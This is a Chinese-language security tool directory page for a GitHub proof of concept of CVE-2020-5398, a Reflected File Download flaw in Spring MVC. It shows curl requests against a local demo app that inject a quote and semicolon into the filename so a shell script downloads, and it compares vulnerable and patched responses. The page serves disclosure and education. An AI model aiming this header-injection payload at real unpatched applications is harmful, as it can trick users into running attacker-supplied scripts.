Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2020-5398 — CVE-2020-5398 - RFD(Reflected File Download) Attack for Spring MVC | Kitploit
工具/GitHubGitHub/motikan2010/cve-2020-5398
Vulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityPenetration TestingLearning & Education
GitHubmotikan2010/cve-2020-5398

CVE-2020-5398

CVE-2020-5398 - RFD(Reflected File Download) Attack for Spring MVC

查看仓库
84183年前Kitploit 审核通过

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2020-5398 - Spring MVC 的 RFD(反射式文件下载)攻击

在 Spring Framework 中,5.2.x 系列早于 5.2.3 的版本、5.1.x 系列早于 5.1.13 的版本以及 5.0.x 系列早于 5.0.16 的版本,当应用程序在响应中设置包含用户输入的文件名属性的 “Content-Disposition” 头部时,容易受到反射式文件下载(RFD)攻击。

使用

root@kitploit:~
./gradlew bootrun

监听在 127.0.0.1:8080。

root@kitploit:~
$ curl 'http://127.0.0.1:8080/?filename=sample&contents=Hello,%20World' --dump-header -
HTTP/1.1 200
Content-Disposition: attachment; filename="sample.txt"
Content-Type: application/octet-stream
Content-Length: 12
Date: Fri, 17 Jan 2020 05:41:08 GMT

Hello, World

开始下载 sample.txt 文件。

PoC

不安全版本(Spring Web 5.2.2)

root@kitploit:~
curl 'http://127.0.0.1:8080/?filename=sample.sh%22%3B&contents=%23!%2Fbin%2Fbash%0Aid' --dump-header -
HTTP/1.1 200
Content-Disposition: attachment; filename="sample.sh";.txt"
Content-Type: application/octet-stream
Content-Length: 14
Date: Fri, 17 Jan 2020 05:22:18 GMT

#!/bin/bash
id

开始下载 sample.sh 文件。(Shell 文件)

安全版本(Spring Web 5.2.3)

root@kitploit:~
$ curl 'http://127.0.0.1:8080/?filename=sample.sh%22%3B&contents=%23!%2Fbin%2Fbash%0Aid' --dump-header -
HTTP/1.1 200
Content-Disposition: attachment; filename="sample.sh\";.txt"
Content-Type: application/octet-stream
Content-Length: 14
Date: Fri, 17 Jan 2020 05:24:47 GMT

#!/bin/bash
id

开始下载 sample.sh";.txt 文件。(文本文件)

参考

  • CVE-2020-5398: RFD Attack via “Content-Disposition” Header Sourced from Request Input by Spring MVC or Spring WebFlux Application | Security | Pivotal
  • NVD - CVE-2020-5398
  • 什么是 RFD 攻击?
    • eu-14-Hafif-Reflected-File-Download-A-New-Web-Attack-Vector.pdf
    • Reflected File Download - OWASP
  • 修复提交
    • ContentDisposition refactoring · spring-projects/spring-framework@956ffe6
下载工具